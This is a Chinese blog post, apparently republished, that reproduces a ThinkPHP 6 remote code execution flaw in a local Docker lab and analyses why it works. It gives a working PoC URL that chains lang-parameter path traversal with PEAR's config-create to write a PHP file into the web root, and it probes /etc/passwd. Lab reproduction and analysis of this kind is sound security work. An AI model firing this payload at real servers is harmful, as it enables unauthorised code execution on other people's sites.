39_tp6的rce漏洞

news2024/11/18 11:41:01

tp6的rce漏洞

一、环境搭建

使用docker本地搭建tp6环境

1. 下载镜像

docker pull vulfocus/thinkphp:6.0.12

在这里插入图片描述

2. 端口映射

启动镜像,并将80端口映射到8081端口,防止80端口冲突,运行容器

docker run -it -d -p 8081:80 1fc5d159922e

在这里插入图片描述

3. 打开网站

默认的网页目录是在public目录下,如果不加public目录无法打开网页

在这里插入图片描述

二、漏洞复现

poc

http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo();?>+/var/www/html/a.php

使用burp抓包
在这里插入图片描述
然后访问a.php,成功解析php代码
在这里插入图片描述

三、原理分析

参考文章:
https://tttang.com/archive/1865/#toc_thinkphp-6
https://www.freebuf.com/articles/web/352154.html

首先,需要tp6开启多语言中间件,才能够实现文件包含
具体原理可以去看参考文章

http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../public/index.php

大致上分析是lang这个传的参数,如果不等于默认的参数 zh-cn ,就会调用某个方法,然后不断跟进方法,就可以看到最后会有个include 文件名,这里的文件名就是我们传的参数,因此会造成文件包含

但是直接使用文件包含的话,并没有看到什么效果
可以看到我们想文件包含/etc/passwd,并没有给出回显

http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../etc/passwd

在这里插入图片描述

如果说这是文件包含无回显利用的话,那么我传了个php反弹shell文件上传到了/var/www/html/目录下
在这里插入图片描述
在这里插入图片描述
如果说无回显,但是可以包含文件运行的话,那么就应该触发这个反弹shell,使msf成功连接会话才对,但是这里并未成功
在这里插入图片描述

这里也是我不理解的一个点
这个poc是文件包含了/usr/local/lib/php/pearcmd
/usr/local/lib/php/目录下存在pearcmd.php文件
利用这个文件里面的config-create方法来实现写入任意文件任意内容,造成RCE漏洞

但是这个文件既然被文件包含了,而且被运行了,那么为什么我上面试验的反弹shell没有被文件包含,并且执行,很奇怪
在这里插入图片描述
可以看到poc里面写着config-create方法
直接查看文件内容是找不到这个方法的,因为它里面还引入了很多文件
在这里插入图片描述
通过使用grep递归式的查询可以查找出来

grep -r -E 'config-create' ./php

可以看到是在Config.php文件里面有这个方法
在这里插入图片描述
将这个文件复制到本地

docker cp 0501da4d826b:/usr/local/lib/php/PEAR/Command/Config.php  ./Config.php

在这里插入图片描述
这里的数组是介绍config-create方法
在这里插入图片描述
真正实现config-create功能是在下面的doConfigCreate方法中,并且给出需要两个参数

这个方法就是实现创建文件的主要的方法,这也是为什么poc后面的格式是那样写的原因

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo();?>+/var/www/html/a.php

在这里插入图片描述
除了上面的grep找config-create方法之外,还可以使用php pearcmd.php
也可以查看到config-create方法的介绍
config-create是用来创建默认文件的
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/183990.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

怎么在线识别图片文字?说一个思路

图片中的文字怎么在线识别&#xff1f;很多小伙伴在接收到图片类型的文件时&#xff0c;不知道怎么处理其中记录的信息。打字整理嫌麻烦怕出错的话&#xff0c;可以借助识别软件来处理&#xff0c;下面给大家介绍三种比较好用的工具&#xff0c;希望能解决你的问题。方法一、在…

SAP ADM100-Unit3 系统配置介绍:如何设置配置文件参数

本节将介绍如何改变配置文件参数的值。 1、管理并维护配置文件 如果想去调整配置文件参数,可以使用操作系统特定的编辑器去调整参数。但是,这个过程是有确定风险的,因此用户必须确保这个调整被正确的执行和记录。设置的参数不正确可能导致实例无法启动。因此,SAP系统提供…

JVM学习疑问之——逃逸分析

前言 根据之前安排的jvm学习计划在进行jvm学习&#xff0c;找到了尚硅谷宋红康老师的jvm视频&#xff0c;跟着视频学习、做笔记&#xff0c;学习到了很多&#xff0c;为尚硅谷及宋红康老师点赞。说到这里&#xff0c;虽然我有一键三连&#xff0c;但这么好的视频&#xff0c;我…

(六)redis持久化操作(RDBAOF)

目录 一、RDB&#xff08;Redis DataBase&#xff09; 1、简介 2、持久化流程 3、dump.rdb文件 4、配置文件 5、rdb的备份 6、rdb的恢复 7、优势 8、劣势 二、AOF&#xff08;Append Only File&#xff09; 1、简介 2、持久化流程 3、AOF和RDB同时开启 4、AOF启动…

HTML中引入CSS样式的第三种方式:链入外部样式表文件

<!-- 第三种方式&#xff1a;链入外部样式表文件&#xff0c;这种方式最常用。 就是将样式写到一个独立的xxx.css文件当中&#xff0c;在需要的网页上直接引入这个xxx.css文件就可以了。 语法格式&#xff1a; <head> …

【自学Docker 】Docker port命令

Docker port命令 概述 docker port命令教程 docker port 命令可以用于列出指定的 Docker容器 的端口映射&#xff0c;或者将容器里的端口映射到宿主机。该命令后面的 CONTAINER 可以是容器Id&#xff0c;或者是容器名。 docker port语法 haicoder(www.haicoder.net)# docke…

jsp 校园相册管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 jsp 校园相册管理系统 是一套完善的web设计系统&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统采用web模式开发&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境 为TOMCAT7.0,Myeclipse8.5开发&#xf…

计算机组成原理 | 第五章:输入输出系统 | 程序中断方式

文章目录&#x1f4da;概述&#x1f407;I/O系统的概述&#x1f407;输入输出系统的组成&#x1f407;I/O设备与主机的联系&#x1f407;I/O设备与主机信息传送的控制方式&#x1f4da;I/O接口&#x1f407;为什么要设置接口❓&#x1f407;接口的功能和组成&#x1f407;接口和…

Pygame的SurfaceImageTime

Surface用来生成一个矩形&#xff0c;Image用来导入外部图片&#xff0c;Time用来暂停时间。 Surface 生成矩形 facepy.Surface((200,200))填充颜色 face.fill(blue) 放入界面 screen.blit(face,(50,50)) Image 导入图片 imgpy.image.load(d:\\图片\\1.jpg) 缩放…

make prerequisite: 根据文件状态自动确定是否重新执行

Basic 先看一个简单的例子&#xff08;引自Makefile Tutorial By Example&#xff09;&#xff1a;当我们对同一个makefile执行两次make命令时&#xff0c;由于第一次运行已经生成了目标文件blah&#xff0c;第二次make会直接输出blah is up to date&#xff0c;而不会重新com…

(四)Redis配置文件redis.conf详解

目录 一、Units单位 二、INCLUDES&#xff08;包含配置&#xff09; 三、NETWORK&#xff08;网络配置&#xff09; 四、GENERAL&#xff08;总则&#xff09; 五、SNAPSHOTTING&#xff08;拍摄快照&#xff09; 六、REPLICATION&#xff08;复制&#xff09; 七、SECU…

【苹果相册日历推位置推送iMessage】需要将真机的udid复制出来在此添加

推荐内容IMESSGAE相关 作者✈️IMEAX推荐内容iMessage苹果推软件 *** 点击即可查看作者要求内容信息作者✈️IMEAX推荐内容1.家庭推内容 *** 点击即可查看作者要求内容信息作者✈️IMEAX推荐内容2.相册推 *** 点击即可查看作者要求内容信息作者✈️IMEAX推荐内容3.日历推 *** …

通过伪代码结合理论模拟pc端接入单点登录(Oauth2浙里办)

前言 还记得那是一个惺忪的早晨&#xff0c;带着困意的我正准备去公司上班&#xff0c;坐车坐到一半&#xff0c;钉钉突然袭来一条红色预警信息&#xff0c;公司查出来有个人阳了&#xff0c;好消息&#xff1a;万幸我还在去公司的路上&#xff0c;没有和他有过多的接触&#x…

机器学习中的数学原理——对数似然函数

这个专栏主要是用来分享一下我在 机器学习中的 学习笔记及一些感悟&#xff0c;也希望对你的学习有帮助哦&#xff01;感兴趣的小伙伴欢迎 私信或者评论区留言&#xff01;这一篇就更新一下《 白话机器学习中的数学——对数似然函数》&#xff01; 目录 一、什么是对数似然函数…

SD卡打不开怎么办?sd卡损坏修复,盘点一些实用的教程

SD卡的应用十分广泛&#xff0c;比如&#xff0c;手机、数码相机、摄像机、MP4、航拍器、车载导航等。但是随着SD卡的使用时间的长短&#xff0c;有时会出现常见问题—SD卡打不开。SD卡里面保持着我们很多重要数据&#xff0c;如果它打不开&#xff0c;很可能导致我们里面重要数…

CSS倒影炫酷属性 -webkit-box-reflect 的使用

文章目录效果预览一、相关知识点介绍属性相关二、实现步骤总结效果预览 一、相关知识点 介绍 文档 MDN关于倒影属性介绍&#xff1a;https://developer.mozilla.org/en-US/docs/Web/CSS/-webkit-box-reflect 官方说明&#xff1a; 非标准:该特性是非标准的&#xff0c;不在标…

CCF BDCI|算能赛题决赛选手说明论文-05

基于TPU平台实现人群密度估计 队伍&#xff1a;SO-FAST 宋礼 算法工程师 京东科技 中国-北京 song200626163.com柯嵩宇计算机科学与技术专业 博士 上海交通大学 中国-上海 songyukesjtu.edu.cn包锴楠计算机科学与技术 硕士 西南交通大学 中国-成都 baokainan123gmail…

元宇宙构建基石:三维重建技术

如今“元宇宙”概念爆火&#xff0c;作为前沿数字科技发展的集成体之一&#xff0c;元宇宙正成为诸多产业寻求破局的全新风口。元宇宙是利用科技手段进行链接与创造&#xff0c;与现实世界映射和交互的虚拟世界&#xff0c;具备新型社会体系的数字生活空间&#xff1b;其本质上…

Day11 蓝桥杯+Java中LocalDate类——关于日期跳转题【2015省赛星系炸弹】(相比C++,Java的LocalDate是真的香!!!)

今天刷蓝桥杯的题&#xff0c;用CAC了之后&#xff0c;发现解析里有兄弟用Java的LocalDate类做的&#xff0c;步骤极其简洁&#xff0c;【由于寒假开始学过一点Java】所以我特意去搜了搜LocalDate类&#xff0c;发现解这种题真的很好使&#xff01;&#xff01;&#xff01;废话…

高级性能测试系列《39.终极线程组可以模拟出压力测试场景吗?》

一、回顾1.面向目标场景&#xff1a;Arrivals Thread Group&#xff0c;这个可以面向tps。Concurrency Thread Group&#xff0c;可以设置面向多少个并发用户数。2.波浪型场景&#xff1a;Ultimate Thread Group 波浪型场景。在添加第二行时&#xff0c;初始化时间点要大于等于…